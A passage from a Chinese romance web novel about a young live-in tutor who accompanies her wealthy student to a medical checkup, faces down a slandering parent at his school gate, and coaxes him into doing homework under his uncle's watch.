祝承信面色不善地瞪她,乔听月劝道:“你最好让我陪你。”
“用不着。”祝承信大着舌头当拽哥。
普通胃镜本也不要求陪同,乔听月尊重他的意愿。
谁料祝承信进去不超过两分钟,胃镜室里传出闷闷的呜咽,然后门开了。
护士无奈道:“家长进来吧,孩子太紧张了。”
乔听月进去的时候,祝承信刚哭完,那管子太恐怖,医生往他嘴里放,他就躲,好不容易探到喉咙,他就受不了了,大小伙子呜呜抹眼泪。
医生叹气,“要不转无痛吧。”
乔听月问医生:“是麻醉效果不好吗?”
医生道:“主要是心理作用,他怕疼,不让我下管。”
“好吧,我问问陆先生。”乔听月顾不上是否会打扰他,打算给他打电话。
祝承信阻止:“别找他,就这个,我能忍。”
乔听月做过胃镜,知道这滋味不好受,尤其是祝承信跨不过心里那关,“你受伤了我不好和陆先生交代。”
祝承信侧躺下,“刚才没经验,这次有准备了,来吧医生。”
他视死如归,眼睛紧闭,眼周肌肉高频率颤动,管子经过咽喉,他又想吐。
“别怕,放松点,用鼻子呼吸。”温热的手掌轻轻搭在他手臂上,声音温柔得不可思议。
这是乔听月的声音吗?
听起来没那么气人了。
“对,吸气,很棒,马上就好了。”
真温柔啊。
祝承信又想哭了,他想他妈了。
医生手法很好,五分钟做完,“有些小炎症,不打紧,吃一流程药就行,这段时间注意忌口,停药之后也少吃辛辣。”
“谢谢医生,”乔听月扶着祝承信,“我们会注意的。”
护士想帮忙,偏偏祝承信像黏在乔听月身上似的,好在乔听月个高力气足,没被他压垮下。
从胃镜室出来,不期然和陆忱撞了个满怀。
陆忱眼疾手快揽住乔听月,另一只手捞起祝承信,黑眸冷沉,“怎么回事?”
男人的手掌虚虚扶在腰间,有衣服阻隔,并不是很明显,乔听月道谢后从他怀里退出来,揉了揉额头,三言两语说清楚。
陆忱神色复杂,他没想到自家外甥这么脆弱,小小胃镜就能把他打倒。
“辛苦你了乔老师,这是最后一项,等血液结果出来,我请你吃午饭。”
“等会,”祝承信虚弱抬手,“舅舅,再给我查查骨头”
陆忱眼神犀利,“你哪里不舒服?”
祝承信晃脑袋,“我要查骨垢线,看看还能不能长高。”
他发现了一个更让他痛心疾首的事情,乔听月竟然和他差不多高!
乔听月的目光从他头顶掠过,“营养不良是会影响身高,以后多喝牛奶,还有机会。”
最终还是查了。
好消息,骨垢线没闭合,还能长。
坏消息,体检单白纸黑字,祝承信171.67cm,比乔听月矮了两个小数点。
没空安慰自闭小孩,乔听月和陆忱一起听医生分析体检报告,为了看清病历,她主动往他身边挪了半步。
陆忱低头,看见乔听月脸蛋上细小的绒毛,她今天没化妆,眼尾独一抹红,像是用力揉搓过。
他手指勾了勾,重重按住红钻袖扣。
乔听月一心扑在病历本上,等医生讲完,陆忱早把视线收回去,仿佛刚刚盯着人使劲看的不是他。
她收好笔记本,问:“陆先生,小信几点回校?”
“下午两点,”陆忱看了看表,才十一点,“时间还早,我知道一家粤菜馆不错,离小信学校近,吃完刚好送他上学。”
乔听月听他早有安排,“那我就先走了,小信放学前我会和他联系。”
陆忱慢条斯理道:“今天上午多亏有你,不然还不知道要出什么岔子,没道理让你空着肚子走,一起吃午餐吧。”
乔听月不假思索地拒绝:“下午有课,中午约了室友一起吃饭,
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得抓紧时间回去。”
祝承信听了一耳朵,“你拒绝了?!”
多少人举着钞票请不到他舅舅,竟然被她轻描淡写地拒绝了!
乔听月误以为祝承信因为胃镜的事对她产生了依赖感,满含歉意道:“抱歉啊小信,今天真的不行,明天给你带菠萝包,不过你两小时内不能吃东西,之后也只能吃流食,别忘了啊。”
槽多无口,祝承信闭嘴了。
陆忱作为被拒绝的对象风度依旧,“那就不勉强了,我送你去——”
“地铁站就行。”乔听月接话。
——
“你就这么水灵灵拒绝了?哈哈哈哈哈哈!”
齐珊珊笑得猖狂,险些拿不住筷子,显然她认为陆忱邀饭被拒是天大的乐事。
“你小点声,”乔听月把餐盘往后拽,免得飞进来不明物质,“我早答应你们了,我什么时候放过你们鸽子。”
“行了,这不怪你,吃饭吧,”李盈给乔听月夹了一块干煸猪心,“吃啥补啥,多吃啥。”
乔听月嫌弃地把猪心扒拉到一边,嘴里振振有词:“我怎么缺心眼了,吃完人家早饭再吃午饭,连吃带拿的,丢不丢人呐。”
接着小声嘟囔:“也许就是客气客气呢,你不是说陆家的饭不能白吃。”
正主不在,齐珊珊胆比天大,“他不说了员工餐嘛,你不知道,陆氏福利可好了,还少你一顿下午茶呢,你给资本家省什么钱。”
乔听月不吭声,专戳菜里的青椒吃,拒绝陆忱,室友有约是一方面,另一方面是她挑食。
万一营养不良的叛逆少年跟着老师有样学样,连带着陆忱质疑她的专业性,那就没地方申冤了。
话题变得很快,乔听月走神的功夫齐珊珊已经说了三个八卦,她最后只听见一句“心理学院聘请了一位牛逼的教授,盘靓条顺,堂堂课爆满,没有女朋友”。
盘靓条顺。
乔听月脑子里竟第一时间浮现陆忱穿睡衣的样子,似是为了洗掉这种唐突的行为,她插入话题:“你又准备要联系方式?”
“非也非也,”齐珊珊故作神秘,“其实他有女朋友。”
李盈向来闻色起舞,跑去围观过一节课,正是那堂课,教授正面回应了是否有女朋友的话题。
答案自然是没有。
齐珊珊“嘁”了声,“他原话是什么?”
“我想想,”李盈眉头紧锁,“好像是说‘暂时没有,但不会谈不道德的恋爱’。”
教授是老师也是医生,自然是不和学生、患者谈恋爱,当场哀嚎一片。
乔听月催促:“别卖关子,赶紧说你发现什么了。”
“我上周末去心理展览馆做活动,听到他打电话,买了一张貂皮,说对象怕冷要做点小玩意。”
李盈西子捧心,“真甜啊。”
乔听月关注点跑偏,“珊珊,你知道哪有卖皮草的吗?我想给我姐姐买个外套。”
齐珊珊兴致勃勃,“我还真知道,你明儿有空不,咱逛街去。”
李盈犹豫道:“贵不贵啊?”
齐珊珊当场联系朋友,“保你拿最低价。妥了,明儿十点我开车,你没问题吧月亮。”
她撑着下巴看乔听月,打趣道:“要不要请示一下你老板?”
乔听月摇头,“不用,”
陆忱又不是没良心的路灯资本家,非工作时间还揪着员工不放。
8. 维护
下午只有一堂课,乔听月上完课去课题组找罗老师汇报近期情况,临走前,罗老师给她留了十多篇文献,让她寒假前参加一次组会。
领了任务,她匆匆奔赴下一个目的地。
……
锦新高中。
欧式锻打铁艺大门繁华庄严,两侧墙柱绕了花藤,如今叶子已然落尽,年复一年,枯藤蜿蜒而上,忠诚地拱卫着金色校名。
豪车停满了广场,管家佣人静候在车门外,心血来潮接孩子的贵妇们掩着唇交谈,聊天内容围绕着珠宝首饰、打牌SPA,偶尔提及家人生意,若有人看不出眼色说错话,就会被软软地刺回去。
也有资产不丰,咬牙供孩子上贵族学校的家庭,不止自己在外边巴结,还指望孩子在里面找出路。
单纯追求优秀教育资源的,根本不在乎这点可有可无的虚伪社交。
踩着共享单车过来的乔听月一出场就成了异类。
一时间“穷苦”“可怜”“不是她该来的地方”之类的词汇不绝于耳。
乔听月不在乎,大冷天骑了一公里路,脸皮都僵了,她望向校园里高耸的钟塔,晚自习还剩十分钟,估计学生们早就收拾好书包等放学,往手心哈了口气,给祝承信发消息。
【月亮】:小信,我已经到学校了,你出门就能看到我。
酷哥晾了她五分钟,发来一个“哦”。
忽然,有人提起最新的八卦,口吻明摆着瞧不上:“你们听说了吗,刘家那老二把女朋友肚子搞大了,那丫头抱着孩子去公司闹,闹得好没脸。”
附和的人冷笑:“福报,他妈借子上位,儿媳妇学婆婆,这不天生的一对儿婆媳么。”
三言两语说着,最先开口的女人话锋一转:“要我说,有些女孩太不自重,见到个帅的富的手心就捏紧了,靠着两分姿色,妄想飞上枝头变凤凰。”
“是啊,孩子都单纯,容易上当受骗,我儿子要是被那不三不四的小狐狸精眯了眼睛,我这当妈的心都碎了。”
原是在指桑骂槐,这燕国地图真够长的。
乔听月选的地方冷清,怕刮坏别人家车惹祸上身,事实证明,有些灾啊难啊的,是会自己找上门的。
她安安静静的,哪就非碍他们眼了。
乔听月扯了扯嘴角,笑容讽刺,手插在兜里,直直往她们聚堆的方向走。
贵妇穿金戴银雍容华贵,可乔听月年轻底子好,小脸不施粉黛透着健康的粉白,皮肤吹弹可破,无声交锋间,对浓妆艳抹的科技脸完成了绝杀。
“不好意思,借过。”她旁若无人从她们之间穿行,走出两三米,回头甜美微笑,气死人不偿命,“女士们,今天风大,小心冷着舌头。”
贵妇怒喝:“你给我站住!”
乔听月充耳不闻,加快脚步,无他,校门打开,小鸟们出笼了。
锦新学生少,三个级部一起放学。
高三学生佩戴的领带是黑色,乔听月的眼睛自主过滤着一张张青涩稚嫩的面孔。
“呵,眼睛专往男孩身上盯,果然心思不纯。”贵妇踩着高跟鞋追上来,每一步都彰显着她此时愤怒的心情。
“保安呢!这种人怎么能放进学校?”
贵妇声音尖锐,很快让更多人注意到这边。
乔听月瞬间成了目光中心,被明里暗里地打量,她泰然自若,这点压力远不如她pre时被老师轮番炮轰来得凶猛。
那种心跳错乱、头重脚轻、肾上腺素升高的精神状态,真是太有滋有味了!
她笑容始终得体,“女士,希望您能在学生面前注意形象,如果被您儿子的同学看见,可能会对他造成不良影响。”
面对贵妇尖酸刻薄的刁难,她依旧方寸不乱,许多人眼中流露出欣赏。
不卑不亢,是个硬茬。
贵妇呼吸微微一滞,将披肩拢了拢,显然乔听月的话让她投鼠忌器。现场比她有钱有势的夫人不知凡几,若真因为为难一个狐狸精坏了形象,间接导致生意出问题,实在是不划算。
她高高扬着下巴,“牙尖嘴利,我不和你一般见识,这不是你不该来的地方,骑着你那小破车子滚吧。”
“恕难从命,”乔听月落落大方,“我的学生在这上学,我是来接他的。”
语罢,她不再理会贵妇的纠缠,转过身,刚好捕捉到祝承信的身影。
少年动作慢吞吞的,外套散着怀,领带松松垮垮,吊儿郎当斜背书包,他也看见了乔听月,却假装没看见,移开视线接着跟旁边的女生交谈。
乔听月眯了眯眼,向他挥手,这次不光是家长,学生也好奇地看她。
他们都想知道,这个突然出现在校门口的活泼少女,是为谁而来。
祝承信双眼睁圆,迈出去的脚步硬生生转向,走了两步觉得不够快,干脆小跑。
几步跑到乔听月附近,先发制人道:“过来了,别喊我。”
与他前后过来的还有一个小胖墩,冲着贵妇喊了声“妈”。
贵妇顿时眉开眼笑:“儿子快过来,离他们远点。”
小胖墩不明所以,视线落在乔听月脸上久久不动。
贵妇狠狠瞪了乔听月一眼,更加坚定乔听月是个勾引人的狐狸精。把小胖墩拉到身边,打着教育儿子的名义指桑骂槐:“妈跟你说,交朋友一定要擦亮眼睛,别跟不三不四的人玩,尤其是那种满嘴谎话乱搞男女关系的。”
她边走边说,声音仍旧维持在大家都能听到的程度:“也不知道锦新怎么搞的,什么人都收。”
“站住!”
乔听月大步绕到贵妇面前,她两颊紧绷,双眸似乎燃着火星,“道歉。”
贵妇嗤笑:“我哪句话说错了,你这个年纪,哪家学校会用你做老师,说谎不打草稿。我劝你赶紧让开,否则我就不客气了。”
“我不必向你证明我的身份,”乔听月拦着路,“不过你在众目睽睽之下莫名其妙污蔑我和我的学生,这就是自诩名门贵族的素质吗?”
这句话算是精准戳中了贵妇的肺管子,她家本就是暴发户,削尖脑袋想再进一步,可江城老牌豪门根深蒂固,给她家一块立锥之地已是极限,哪想在校门口被一个来历不明的野丫头奚落。
她怒从心中起,抬手扇人。
变故就在一瞬间,旁人根本来不及阻止。
四周看热闹的人不少,正当他们以为这张漂亮的脸蛋即将毁于一旦,却见少女动作精准迅捷,一把握住女人的手腕,不容她撤回。
乔听月比贵妇高半头,低垂着眼睫,挑眉,“恼羞成怒就要动手打人?”
“你放开我妈!”小胖墩着急道。
乔听月瞥他一眼,小胖墩倒是个憨厚孩子,不欲在孩子面前为难母亲,终究还是松了手。
“小信,过来。”
祝承信本能地想刺她一句“叫狗呢”,可前一秒她为自己发了火,到底乖乖走了过去。
乔听月侧目,看来这一波操作打动了他,竟还有意外之喜。
她生气不是作秀,她平生最厌恶无缘无故造谣的人,“道歉。”
贵妇想不明白柔柔弱弱的小丫头哪来这么恐怖的力气,她几乎维持不住体面,声嘶力竭:“保安呢!都瞎了吗!”
保安哪敢得罪这些人,发现事态不对劲马不停蹄找来值班老师。
值班老师大冷天跑出一脑门汗,“这位家长消消气,别吓着孩子,容我了解下情况。”
实际上,在来的路上他就想好了章程,看人下菜碟。争执的一方是个年轻丫头,他先入为主想捏软柿子。
他清了清嗓,“这位小姐。”
拿腔拿调。
乔听月瞬间明白他打得什么注意,“我是祝同学的老师,姓乔。”
“哦哦,乔老师,”值班老师笑容不改,“外边风大,我们移步保卫亭说。”
乔听月脸色愈发冷,“不必,这位家长凭空造谣,被揭穿又要对我动手,贵校
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这么多家长学生都看着,我和我的学生只要求她道歉,不会浪费多少时间。”
她装作恍然大悟,“难不成堂堂锦新解决矛盾的方式竟是和稀泥?小信,是这样吗?”
祝承信默不作声,他在学校无人敢惹,而且他也不主动参与交际,哪知道处理方式。
殊不知他的沉默就是最大的证据,顿时周围人看值班老师的眼神变得犀利起来,他们的孩子都是娇生惯养长大的,哪能被如此对待?
值班老师后背湿透,“乔老师您误会了,我的意思是保卫亭有监控,说不定有什么误会。”
乔听月态度强硬,“没有误会,这位家长说话含沙射影,举止疯狂,如果您无力解决我不介意报警。”
“那怎么行?”贵妇当即反驳。
这要是报了警,她那该死的老公非要和她离婚不可。
“我给你钱行了吧,你要多少。”她打开昂贵的手包,取出成叠的钞票。
乔听月感觉自己在对牛弹琴,“你就是这么给孩子做榜样的?”
小胖墩快要碎了,只想赶紧离开,他扶着他妈,“乔老师,这位学长,我替我妈给你们道歉。”
“不行!”贵妇嗓音拔高,把小胖墩扯了个趔趄,比起自己道歉,她更难以忍受儿子做一个懦夫,“非要道歉是吧,行啊,你给我听好了。”
她不停深呼吸,“对不起”三字她说得模糊,之后才流畅起来:“是我言行无状,误会了你和你学生的关系。”
闹到这种地步,乔听月没再讨嫌说莫须有的大道理,问了祝承信的意见,让路放他们离开。
贵妇难堪到发抖,临走前狠狠剜了乔听月一眼,大意是“你给我等着”。
恰在此刻,一辆黑色SUV出现在所有人视野中,时间像是被按下暂停键,世界都安静了。
后排车门打开,男人下车,他身形颀长挺拔,商务西装下比例完美,手工皮鞋踏在地面上,步伐不急不缓有如闲庭信步,嘴角挂着淡笑,与生俱来的矜贵不凡。
不是陆忱又是谁。
乔听月望着越来越近的身影,怔在原地,任冷风吹乱鬓角的碎发。
最先回神的人是值班老师,他小跑着迎上去,恭敬又谄媚:“陆先生,您怎么亲自来了?”
陆忱没给他眼神,径直朝乔听月走过去。
“你第一天上班,怕你不认识家里的车,”他自然地解释,目光落在她耳边,定了瞬,“你头发乱了。”
乔听月把碎发别到耳后,略带紧张地问:“刚刚——”
“车上说吧。”陆忱打断她。
手指都冻红了。
“哦,好。”
刚要上车,乔听月忽然想起遗忘在角落的共享单车,校外不是停车点,送不回去要扣钱的。
陆忱察觉,“怎么了?”
乔听月不好意思地笑笑,“共享单车还在那,能先放您车里吗?就这一次,我下次打车来。”
“当然可以,”陆忱帮她扶着车门,“你先上车,我去推过来。”
“不用……”
陆忱说一不二,转身离开。
没说完的话散在风中:“可是车上锁了,你推不动啊。”
单车确实推不动,陆忱轻而易举将它提起来,动作行云流水,风吹日晒的单车压在西装上,蹭了污渍也不见他半点心疼。
一来一回不过两分钟,车门拉上,有人半信半疑。
“那是陆忱吧?”
“是吧。”
“绝对是,那车牌我不可能认错。”
陆忱的专属座驾,防弹级别的迈巴赫,车牌LU709,江城无人不知无人不晓。
疑惑、惊讶、懊恼被精密的车门结构阻挡在外,车内很安静,乔听月望着窗外,通过车窗,她看见身边的男人正细细擦拭不慎沾到手上的链条油,慢条斯理,赏心悦目。
直到他扔掉湿巾,她才转回脸,轻声问:“陆先生,您什么时候来的啊?”
9. 秘密
车内放着悠扬的小提琴曲。
陆忱向后靠住椅背,姿态悠闲,看乔听月的目光有些沉。
从他出现,她好似一直处于紧张状态,他实话实说:“一直都在,看事情解决了才开过来。”
乔听月逐渐回温的脸更加嫣红,她眨巴眼睛,继而移开视线,手指捏着风衣拉链摩挲,像是打算给金属制品再抛光一次。
陆忱一直都在,那她凶巴巴的样子岂不是被他尽收眼底,她飞速复盘事件始末,除了坚定维权,应该没做什么出格的事——
不对,她怼过那女人一句。
但是她们声音并不大,就算是顺风耳也得靠近听,何况陆忱坐在车里,估计全程都在看默剧。
想通这一点,乔听月心中的尴尬可算缓解了,她恢复了平时稳重的模样,语气间隐隐有些得意:“一点小事而已,解决得很顺利。”
少女的情绪都写在脸上,只要用心就能读懂。
原来是在意自己在他面前的形象么。
陆忱眼底泛起愉悦,作为绅士本该维护一下她的面子,可是看她俏皮生动的眉眼,他忍不住做了回坏人。
“乔老师文武双全,小信交给你我很放心。”
他果然还是听见了!
到底是怎么听见的,乔听月偷偷瞄他的耳朵,收回目光时注意到桌板上的手机。
监控!
值班老师说过保安亭有监控,锦新是陆氏的产业,陆忱有权限并不奇怪。
她为自己辩解:“我对学生很有耐心,不会把个人情绪带到工作中。”
听着简历般的话语,陆忱沉默了。
很好,打工人心中事业至上,是他自作多情了。
“别紧张乔老师,”陆忱的脸皮是在谈判桌上练出来,丝滑地转移话题,“我没帮你,你生气吗?”
话题跳跃,乔听月下意识反问:“我为什么要生气?”
问完意识到这可能是陆忱对她的考验,坐直身体,认真回答:“维护学生的自尊与声誉是我的义务,事事需要家长出面是我无能,届时陆先生辞退我,我也绝无二话。”
而且,陆忱没下车,也一定是信任她的能力吧。
陆忱眼神复杂。
忽然,车子急刹。
乔听月稳不住身形,向前扑去。
胸前安全带骤然勒紧,瞬间的碰撞与窒息呛得她眼前一黑,慌乱间,牙齿磕到舌尖,泪花汹涌溢出眼眶。
模糊视野中,有人对她伸出手。
忍受剧烈疼痛的同时,她还有心思苦中作乐。
多亏安全带拽着,不然就要和学生家长发生肢体接触了,好险,差点师德不保。
升降板落下来,司机苦哈哈地汇报:“对不起先生,有个小孩忽然闯红灯。”
陆忱瞧着少女哭得可怜兮兮,一会捂胸口一会捂嘴巴,分辨不出她哪受了伤,直接吩咐:“去医院。”
“不,不用。”
最疼的一阵挺过去,口中只剩酥酥麻麻的异样感,乔听月擦了擦额角的冷汗,“咬到舌头了,不是大事,快回家吧,小信作业还没写。”
司机不知道往哪开,一个劲从后视镜往后瞄。
陆忱没有立场把人强行带去医院,谁让咬舌头不算工伤。
舌尖在犬齿上蹭了下,开口道:“听老师的。”
升降板重新升回去,乔听月背过身,翻出小镜子,悄悄探出舌尖。
没咬破,不过又红又肿,看着惨烈而已。
陆忱无意窥视,但看见少女白皙侧颈上触目惊心的红痕时,忍不住心烦意乱。
若是扑到他怀里,哪用得着受这份罪。
——
一路无话,到了陆家,迈巴赫直接驶入地下车库。
车库灯自动亮起,陆忱带着乔听月路过一辆辆豪车,教她辨认方向。
乔听月全神贯注听他说话,脑子自动把他的话过滤成浅显易懂的信息——
先找到粉色跑车,左拐,到红色车架的越野车停下,再右拐,就能看到电梯了。
电梯很大,陆忱和乔听月并排站着,祝承信站他们后面,三个人呈等边三角形。
祝承信被乔听月维护后暂时不想面对她,索性坐了副驾,急刹时他也吓了一跳,对后排发生的事一无所知,只听见舅舅说“去医院”,乔听月说“咬舌头”。
他视线在两人身上不断游移,捕捉到乔听月眼睛泛红,瞳孔震了震,表情一寸寸裂开。
电梯到一楼停下,管家静候多时。
管家大概五十多岁,笑起来和蔼可亲,“乔老师您好,初次见面,给您准备了新拖鞋,不知道合不合适。”
陆忱介绍:“这是吴叔,以后找不到我可以找他。”
乔听月点头,“吴叔,您叫我小乔就行。”
吴叔说晚餐已经准备好了,问是否需要现在用餐。
放学耽搁了一会,既定的晚餐时间所剩不多,陆忱脱下外套交给吴叔,“现在就用。”
乔听月问吴叔洗手间在哪,洗手回来,晚餐已经摆好了,陆忱坐在主位,拿着手机发消息,祝承信盯着营养餐苦大仇深,两人都在等她。
虽然距离不长,她还是加快脚步走过去。她在陆忱左侧坐下,放在桌下的双手交叠,指甲刮蹭掌心,是她紧张时的表现。
紫米饭清香的味道似有似无,她好像再一次回到小时候,坐到那张磨损严重的圆桌前。
幼小的女孩乖乖巧巧地坐在朋友身边,紫米饭敷衍地铺了个碗底,被女主人重重搁在面前,接着,朋友被女主人拖出去,柳枝划破空气打在身上的声音、女人尖锐的叫骂、朋友断断续续的哭声齐齐穿透单薄的门帘。
桌上其他人默不作声,年迈的爷爷眼角沟壑交织,叹了口气,跟她说“孩子,你先回家吧”。
“乔老师。”陆忱温和地叫她。
乔听月蓦地回神,陆忱给她夹了一块茭白,这是晚餐开始的信号。
她顾不上想这是否符合职业规矩,只觉得心里莫名拥挤的浓雾散了。
“抱歉,我走神了。”
陆忱并没有追根究底,轻声问:“昨晚没睡好?”
“可能是太久不上课,精神头跟不上。”乔听月端起碗,把茭白放进嘴里,清脆爽口的甜。
之后陆忱没再给她夹菜,偶尔跟她探讨食物的口感,每到这时,祝承信便狠狠吐槽营养师,大意是不会做菜就回家放牛,白白浪费了他舅舅的煤气费。
宾主尽欢。
吃完饭,祝承信一头钻进游戏室。
乔听月和陆忱打了招呼后紧随其后。
祝承信叼着根棒棒糖,手柄摇到飞起,“你别以为——”
他顿了下,“今天
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给我出头,我就会听你的。”
乔听月依旧拖了个懒人沙发坐在他身边,拉开他弃如敝履的书包,“我开了?”
“开吧开吧,随便看。”
书包是学校统一配的,少年书包很整洁,书本也一样。
乔听月随手翻开一本,嘴角微微勾起,状似无意地问:“今天和你一起出来的那个女生是宋诗灵?”
“昂。”祝承信大喇喇应了。
“她和你同班?”
“我同桌,”祝承信暂停游戏,扭头看乔听月,“你什么意思?”
乔听月把书翻转过来,“你的书,她的笔记。”
“搞校园霸凌啊?”
“……”
乔听月又翻开几本,“你这是拿错书包了吧?”
祝承信把书一股脑塞回书包。
乔听月眯了眯眼,瞧瞧,她又发现了小猫腻。
每个人都有独特的整理习惯,书包刚打开的时候,教科书排在练习册前面,现在祝承信乱七八糟归拢起来,甚至把英语小册子塞进语文练习册里。
“收拾完了?”
乔听月撑着下颌,葱白的指甲一下一下点着侧脸,“有双人模式吗,带我一个。”
祝承信被她看得心里发毛,浑身的刺根根竖起,无脑发起防御前,被乔听月的神来之笔噎得不上不下,他嘴唇嗫嚅了下。
“啊?”
“啊什么啊,”乔听月拿起另一个手柄,“快点,你学习时间要到了。”
“鬼才学习,”祝承信不情不愿换了双人模式,给她讲清楚键位,“别拖我后腿。”
双人闯关游戏,两个角色身上牵了条绳子,互相配合,互相牵制,互相拖累。
在第一个复活点前花式跪倒十八次,祝承信终于发言了:“你那爪子在谁身上偷的?”
终于忍不住了?
乔听月瞥他一眼,“你跑慢点,我们再试一次。”
这一次,祝承信跳墙之后,原地等乔听月跟上来才继续前进,两人一起坐上矿车,点亮复活点。
乔听月摊手,“你看,这就是友爱精神的重要性。”
祝承信压下嘴角上扬的弧度,凶狠的语气带了几分笑意:“别废话,第一节用半小时,菜。”
乔听月不恼,操纵着角色晃晃悠悠跟在祝承信身后。
时针指向八点,两人终于通关第一章,乔听月趁他精神放松,忽然发难:“祝少爷,小女孩给你收拾书包,心情美不美?”
“你怎么知道?!”祝承信不可置信。
乔听月笑了,“我诈你的。”
在祝承信爆发前,她退出游戏,起身敲了敲肩膀,“该写作业了,走吧。”
“不写。”祝承信吐掉棒棒糖棍,看在乔听月今天怼人挺好听的份上,他没挑衅她,低头摆弄手柄。
“我给你两个选择。”乔听月拎起书包,沉甸甸的,令人心安。
“第一个,你跟我去写作业。”
“第二个,我把你的小秘密告诉你舅舅。”
“咔——”
师生齐齐向声音来源看去。
陆忱像关心孩子学习进度的普通家长,掌心拖着果盘,手指修长如玉,眼底折射着玻璃潋滟的纹路,缓缓道:“看来我来得正是时候。”
“乔老师有什么小秘密要告诉我?”
10. 雪梨水
师生俩面面相觑,在彼此脸上看到了如出一辙僵硬。
祝承信努努嘴,眼睛高频眨动:【不许说!】
乔听月掂量掂量书包,暗示加威胁双管齐下。
祝承信狠狠咬牙,爬起来一把拿走书包甩到肩上,闷头往外走,“舅舅,你们聊,我去写作业了。”
陆忱对着他迅速窜出去十多米的背影吩咐:“去我书房写。”
隔着游戏室无形的结界,两人视线相撞。
陆忱假装没看见乔听月无处安放的双手,转身示意她跟上,“想看看真实情况就没敲门,小信没为难你吧?”
来自家长的重视让乔听月十分受用,她心中熨帖,快步走到他斜后方半步,“没有,小信很听话。”
两人的脚步渐趋一致,在寂静的走廊格外明显。
乔听月希望这份沉默长久地持续下去,用小秘密拿捏祝承信是手段,告密就是彻彻底底的昏招了。
正值叛逆期的少年最忌讳背叛,事后她可以用“对家长负责”作为狡辩,可是她很清楚,她自始至终负责的对象都是她的学生,但凡透露出一星半点,哪怕无伤大雅,也会把学生推远。
好在陆忱并不好奇外甥的秘密,他的表现甚至可以说是毫不关心,托着果盘,脚步平稳,眉眼间笑意不浓,但看得出心情很好。
陆忱不问,乔听月也做不到装聋作哑,已经被撞了个正着,草草了事敷衍家长不是她的作风。
“陆先生,”她声线紧绷,尽力措辞美化自己知情不报的行径,“小信是个非常有主见的少年,平时与他沟通一定要找准边界,逼得太紧反而会激起他的叛逆心,适得其反。”
她叫他名字的时候略微心虚,提及学生就像回到了舒适区,可爱的小脸不自觉地漾起微笑,眼底的自信光彩夺目。
陆忱是个合格的倾听者,中途并未插话,收到她习惯性互动的目光时,适时露出欣赏的神色,鼓励她大胆说下去。
乔听月毫无磕绊地讲完自己与叛逆少年斗智斗勇的经验,最后对祝承信不吝夸奖,不留痕迹地捧了一把陆忱。
今日人情世故,满分!
谦虚地给自己打了个99分,她忐忑地看向陆忱。
应该听懂她的弦外之音了吧。
陆忱垂眸输入密码,伴随“滴”的一声,书房门打开。
他没急着进去,压着门把手嵌开一条小缝,不疾不徐道:“乔老师,你过分紧张了。我不是你的老板,我是一位普通的学生家长,是小信的舅舅,这样想会不会自在一点?”
乔听月有意辩驳,偏喉咙像是被什么卡住,无法发声。
望着男人深邃的眉眼,她不由自主顺着他的话思索,合同甲方是陆老先生,陆忱只是被她用七次门铃饶了清梦的学生舅舅而已。
她纯粹是因为陆忱屡次帮她心怀感激,对家长产生了敬畏之心,才会如此严阵以待。
乔听月暗自叹气,所谓的人情世故实则是违逆本心,果然职场处处是陷阱。
多亏陆忱见微知著,愿意点醒她,他一定是她生命中的贵人。
来不及自怨自艾,乔听月真诚道:“谢谢您陆先生,之前是我钻了牛角尖,以后的工作还请您多多关照。”
陆忱见她一脸大彻大悟,虽然不了解她短短几个呼吸间脑补了什么,但至少利用家长身份与她拉近距离的可耻目的达成了。
殊途同归,不算坏事。
他推开门,风度翩翩,“当然,我一直很相信乔老师。”
“哎呦——”
祝承信捂着额头倒退几步,左脚拌右脚一屁股坐在地上。
这下左手捂头,右手捂屁股,主打雨露均沾。
陆忱目不斜视从外甥身边路过,留下冷冷两字:“活该。”
乔听月更是一言难尽,多大人了还听墙角。
“没摔疼吧?”
祝承信哎呦哎呦个不停,虚弱道:“我感觉脑袋晕乎乎的,看什么都很模糊,是不是脑震荡了。”
乔听月蹲下来,恶魔低语:“作业写完了吗?”
学生本能驱使着他点头:“写完了。”
“可能是菌子中毒,”乔听月面露担忧,“都产生幻觉了,用不用做个催吐?”
陆忱默默看他们互动,可算知道外甥是怎么被治服的,碰上个不按常理出牌的老师,叛逆少年也头大。
“晚饭没有菌子,”他放下果盘,“别装,影响我工作。”
祝承信一骨碌爬起来,“我不治而愈了。”
注意力从学生身上脱离,乔听月注意到书房的变化。
书房新添了一张书桌,是陆忱同款,面对面放着像对称图形,厅堂宽敞,两端相望泾渭分明。
乔听月坐在祝承信旁边,对面是陆忱批阅文件的画面,钢笔握在如玉指骨间,书房灯落在他身上,笼上一层柔和的光晕,完全投入工作的男人神色淡漠,俊美无俦的面孔此时看起来有种引人犯罪的禁欲感。
“诶,”祝承信脸贴着桌面,竖起英语书挡住自己,“你没说吧?”
乔听月怎么也想不到,有一天她会允许学生用这种姿势和自己说话。
“没说。”
“那就好,”祝承信拍拍胸脯,赞赏道,“想不到你还挺讲义气。”
“我还能更讲义气,”乔听月在混乱的桌面翻出作业单,画了个范围,“你上午遭罪做胃镜,精力不济,作业可以少写一点。”
祝承信顿时觉得不错,转念一想,不对,他从来就不写作业。
“数学一页,英语一页,”乔听月把练习册推到他面前,“对你来说应该很容易吧。”
祝承信眉头一皱就要拒绝,一抬眼,乔听月居高临下俯视他,他莫名觉得她的眼神在问“你行不行”。
被鄙视了,简直忍不了。
他用力按住练习册,百般不愿拖到面前,硬生生挤出一句:“是啊,非常容易。”
乔听月像看不懂脸色的低情商,欣慰地笑笑,“我就知道,小信你一定行。”
“啪!”祝承信重重合上面前的“堡垒”。
陆忱眼皮撩了下,视线投射过来。
祝承信倏地坐直,对着英语练习册冥思苦想。
乔听月提醒:“那是听力。”
“……哦。”
激进法好用,但后劲不足。
祝承信看了一篇阅读题之后就失了耐心,ABCD一通乱填,作文从阅读题里随便抄两行,大手一挥,“OK!”
书房里复古摆钟指针刚走了五分钟。
乔听月默不作声拿走检查,检查结束,她揉了揉太阳穴。
他甚至不愿意筛选一下抄的东西,让他邀请李华参加校园歌手大赛,他抄了一堆噪音污染对人体的危害。
很难觉得不是故意的。
祝承信嘴角恶劣的笑缓缓咧开。
乔听月不要求每个学生都学习优异,但她见不得学生态度轻慢。
祝承信拥有大多数人求之不得的资源,却不用来提升自己,简直是暴殄天物。
乔听月DNA狂动,生活老师也是老师,学习时间就该学到知识,不然就是她失职。
她平静道:“答得不错,我给你简单讲讲。”
祝承信眼中浮现出问号,不等他质疑,就被乔听月拖入了名为英语的漩涡。
乔听月害怕祝承信中途撂挑子不干,她没留下任何喘息时间,讲得口干舌燥,习惯性伸手向左前方摸水杯,指尖传来一丝凉意。
不对,这里原本没有东西。
头顶响起男人温柔磁性的声音,像悠扬醇厚的大提琴。
